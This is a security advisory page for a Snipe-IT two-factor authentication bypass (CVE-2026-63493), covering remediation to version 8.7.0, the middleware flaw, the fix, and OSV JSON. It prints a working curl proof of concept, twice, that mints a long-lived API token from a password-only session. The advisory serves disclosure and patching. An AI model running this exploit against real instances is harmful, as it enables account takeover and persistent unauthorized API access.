CVE-2026-63493: Snipe-IT 2FA Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-hxcx-9h4f-42xx
CWE-288
Published
Advisory Summary

CVE-2026-63493 is a HIGH 2fa bypass vulnerability (CWE-288: Authentication Bypass Using an Alternate Path or Channel) affecting Snipe-IT libraries in the Packagist ecosystem. The issue involves 2fa bypass via the api token flow. Remediation is available by upgrading affected packages to version 8.7.0.

CVE-2026-63493 at a Glance

CVE Identifier CVE-2026-63493
GHSA Identifier GHSA-hxcx-9h4f-42xx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-288: Authentication Bypass Using an Alternate Path or Channel
Affected Product Snipe-IT
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-63493

To remediate this vulnerability, upgrade all affected Snipe-IT dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

snipe/snipe-it fixed: 8.7.0
Upgrade snipe/snipe-it to 8.7.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for snipe/snipe-it

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-63493, inspect your project dependencies for Snipe-IT:

inspect dependencies for snipe/snipe-it

Analyze the terminal output to locate any version of Snipe-IT in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.7.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-288: Authentication Bypass Using an Alternate Path or Channel, where the product requires authentication, but the product has an alternate path or channel that does not require authentication. In Snipe-IT, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin). The token is an API credential, not a web/UI session (using it on web routes redirects to `/login`), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin `users/two_factor_reset` endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out. ### Summary: 2FA is enforced only by the `web` middleware group, not the `api` group, and the personal-access-token endpoint is in the `api` group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access. ### Details: `CheckForTwoFactor` is in the `web` group but not the `api` group: // app/Http/Kernel.php 'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ], 'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor Two consequences: 1. `/two-factor` is exempt from the check, and `CreateFreshApiToken` runs right after it in the web group: // app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout']; So a password-authenticated session that lands on `/two-factor` (before entering a code) is let through and gets issued the Passport `snipeit_passport_token` cookie. 2. The token endpoint is in the `api` group, which never checks 2FA, gated only by `self.api`: // routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check Login authenticates on the password alone (`LoginController::login` calls `Auth::login`). 2FA is enforced only by `web` middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via `/two-factor`, and can call the token endpoint over the `api` group. The token is long-lived (40-year expiry by default) and grants full API access as the user. ### Proof of concept: Setup: an account with 2FA enabled and the `self.api` permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor. HOST=https://snipeit.example.com/ USER=victim PASS='victim-password' # 1. log in with the password only. Every web page now redirects to # /two-factor until a code is entered. never enter one. csrf=$(curl -s -c cookies.txt "$HOST/login" \ | grep -oP 'name="_token" value="\K[^"]+') curl -s -b cookies.txt -c cookies.txt "$HOST/login" \ --data-urlencode "_token=$csrf" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" -o /dev/null # 2. GET /two-factor with no code. It is exempt from the 2FA check, so # CreateFreshApiToken issues the snipeit_passport_token cookie. curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code" # 3. mint a persistent token over the api group (no 2FA check). Passport's # cookie guard wants the session's own XSRF token echoed as a header, # which our session already holds. xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1) xsrf=$(printf '%b' "${xsrf//%/\\x}") pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \ -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \ --data-urlencode "name=poc" | jq -r '.payload.token') echo "[3] token: $pat" # 4. use the Bearer token against a real endpoint. /users/me returns the # victim's own account, proving the token acts as the victim with 2FA # never completed. (If the victim is an admin, the same token reaches the # whole API, e.g. GET /api/v1/users returns the full user directory.) curl -s "$HOST/api/v1/users/me" \ -H "Authorization: Bearer $pat" -H "Accept: application/json" Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account (`{"id":1,"username":"victim","email":...}`). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the `api` group simply never enforces it. ## Patches Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, `EnforceApiTwoFactorEnrollment`, registered on the `api` middleware group after `auth:api`. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped `2fa_authed` flag that `CheckForTwoFactor` relies on. Behavior: - Passes through when there's no authenticated user (leaves the standard `auth:api` 401 in place). - Passes through when `two_factor_enabled` is disabled in settings. - Under optional mode (`two_factor_enabled = '1'`), only enforces on users who explicitly set `two_factor_optin = '1'`, matching the web-side behavior and preserving legacy PATs for users who never opted in. - Under required mode (`two_factor_enabled = '2'`), enforces regardless of optin. - Blocks with 403 + `Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll'))` when the token owner's `two_factor_enrolled != '1'`. Regression coverage lives in `tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php`. ### Credit Reported first by [colinthebomb1](https://github.com/colinthebomb1) and [Theebanbabu](https://github.com/Theebanbabu), followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).

CVE-2026-63493 Affected Snipe-IT Versions

1 component(s)
Fixed Versions:
8.7.0
Product / Package Ecosystem Affected Versions Fixed Version
snipe/snipe-it
Packagist
< 8.7.0
8.7.0

References

Frequently Asked Questions

What is CVE-2026-63493?
CVE-2026-63493 is a security vulnerability in Snipe-IT involving 2FA bypass via the API token flow under CWE-288: Authentication Bypass Using an Alternate Path or Channel.
Which Snipe-IT versions are affected?
Affected versions include releases prior to 8.7.0 across affected packages: snipe/snipe-it.
What version fixes CVE-2026-63493?
Upgrading to 8.7.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is snipe/snipe-it affected?
Yes, snipe/snipe-it is affected in releases prior to 8.7.0. Upgrade your dependency to 8.7.0 or later.
What CWE is associated with CVE-2026-63493?
CVE-2026-63493 is classified under CWE-288: Authentication Bypass Using an Alternate Path or Channel (The product requires authentication, but the product has an alternate path or channel that does not require authentication.).
How can I check Packagist dependencies for CVE-2026-63493?
Run the dependency tree command: 'inspect dependencies for snipe/snipe-it'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hxcx-9h4f-42xx",
  "modified" : "2026-09-24T16:38:28Z",
  "published" : "2026-09-24T16:38:27Z",
  "aliases" : [ "CVE-2026-63493" ],
  "summary" : "Snipe-IT: 2FA bypass via the API token flow",
  "details" : "### Impact\n\nAn attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).\n\nThe token is an API credential, not a web/UI session (using it on web routes redirects to `/login`), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin `users/two_factor_reset` endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.\n\n### Summary:\n\n2FA is enforced only by the `web` middleware group, not the `api` group, and the personal-access-token endpoint is in the `api` group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access. \n\n\n### Details:\n\n`CheckForTwoFactor` is in the `web` group but not the `api` group:\n\n    // app/Http/Kernel.php\n    'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],\n    'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ],   // no CheckForTwoFactor\n\nTwo consequences:\n\n1. `/two-factor` is exempt from the check, and `CreateFreshApiToken` runs right after it in the web group:\n\n    // app/Http/Middleware/CheckForTwoFactor.php\n    public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];\n\nSo a password-authenticated session that lands on `/two-factor` (before entering a code) is let through and gets issued the Passport `snipeit_passport_token` cookie.\n\n2. The token endpoint is in the `api` group, which never checks 2FA, gated only by `self.api`:\n\n    // routes/api.php -> Api\\ProfileController::createApiToken (line 98)\n    if (! Gate::allows('self.api')) { ... }   // the only gate; no 2FA check\n\nLogin authenticates on the password alone (`LoginController::login` calls `Auth::login`). 2FA is enforced only by `web` middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via `/two-factor`, and can call the token endpoint over the `api` group. The token is long-lived (40-year expiry by default) and grants full API access as the user.\n\n\n### Proof of concept:\n\nSetup: an account with 2FA enabled and the `self.api` permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.\n\n    HOST=https://snipeit.example.com/\n    USER=victim\n    PASS='victim-password'\n\n    # 1. log in with the password only. Every web page now redirects to\n    #    /two-factor until a code is entered. never enter one.\n    csrf=$(curl -s -c cookies.txt \"$HOST/login\" \\\n           | grep -oP 'name=\"_token\" value=\"\\K[^\"]+')\n    curl -s -b cookies.txt -c cookies.txt \"$HOST/login\" \\\n         --data-urlencode \"_token=$csrf\" \\\n         --data-urlencode \"username=$USER\" \\\n         --data-urlencode \"password=$PASS\" -o /dev/null\n\n    # 2. GET /two-factor with no code. It is exempt from the 2FA check, so\n    #    CreateFreshApiToken issues the snipeit_passport_token cookie.\n    curl -s -b cookies.txt -c cookies.txt \"$HOST/two-factor\" -o /dev/null\n    grep -q snipeit_passport_token cookies.txt && echo \"[2] Passport cookie issued, no code\"\n\n    # 3. mint a persistent token over the api group (no 2FA check). Passport's\n    #    cookie guard wants the session's own XSRF token echoed as a header,\n    #    which our session already holds.\n    xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)\n    xsrf=$(printf '%b' \"${xsrf//%/\\\\x}\")\n    pat=$(curl -s -b cookies.txt \"$HOST/api/v1/account/personal-access-tokens\" \\\n          -X POST -H \"Accept: application/json\" -H \"X-XSRF-TOKEN: $xsrf\" \\\n          --data-urlencode \"name=poc\" | jq -r '.payload.token')\n    echo \"[3] token: $pat\"\n\n    # 4. use the Bearer token against a real endpoint. /users/me returns the\n    #    victim's own account, proving the token acts as the victim with 2FA\n    #    never completed. (If the victim is an admin, the same token reaches the\n    #    whole API, e.g. GET /api/v1/users returns the full user directory.)\n    curl -s \"$HOST/api/v1/users/me\" \\\n         -H \"Authorization: Bearer $pat\" -H \"Accept: application/json\"\n\nStep 3 returns a token with no code ever submitted, and step 4 returns the victim's own account (`{\"id\":1,\"username\":\"victim\",\"email\":...}`). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the `api` group simply never enforces it.\n\n## Patches\n\nFixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, `EnforceApiTwoFactorEnrollment`, registered on the `api` middleware group after `auth:api`. The new middleware answers the question \"does this token's owner have a second factor enrolled at all?\", which is orthogonal to the session-scoped `2fa_authed` flag that `CheckForTwoFactor` relies on. Behavior:\n\n- Passes through when there's no authenticated user (leaves the standard `auth:api` 401 in place).\n- Passes through when `two_factor_enabled` is disabled in settings.\n- Under optional mode (`two_factor_enabled = '1'`), only enforces on users who explicitly set `two_factor_optin = '1'`, matching the web-side behavior and preserving legacy PATs for users who never opted in.\n- Under required mode (`two_factor_enabled = '2'`), enforces regardless of optin.\n- Blocks with 403 + `Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll'))` when the token owner's `two_factor_enrolled != '1'`.\n\nRegression coverage lives in `tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php`.\n\n### Credit\n\nReported first by [colinthebomb1](https://github.com/colinthebomb1) and [Theebanbabu](https://github.com/Theebanbabu), followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "snipe/snipe-it"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.7.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/pull/19294"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/commit/87c362962a670f427be071850b218e43eff5d08e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/commit/c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/grokability/snipe-it"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/grokability/snipe-it/releases/tag/v8.7.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-288" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T16:38:27Z",
    "nvd_published_at" : null
  }
}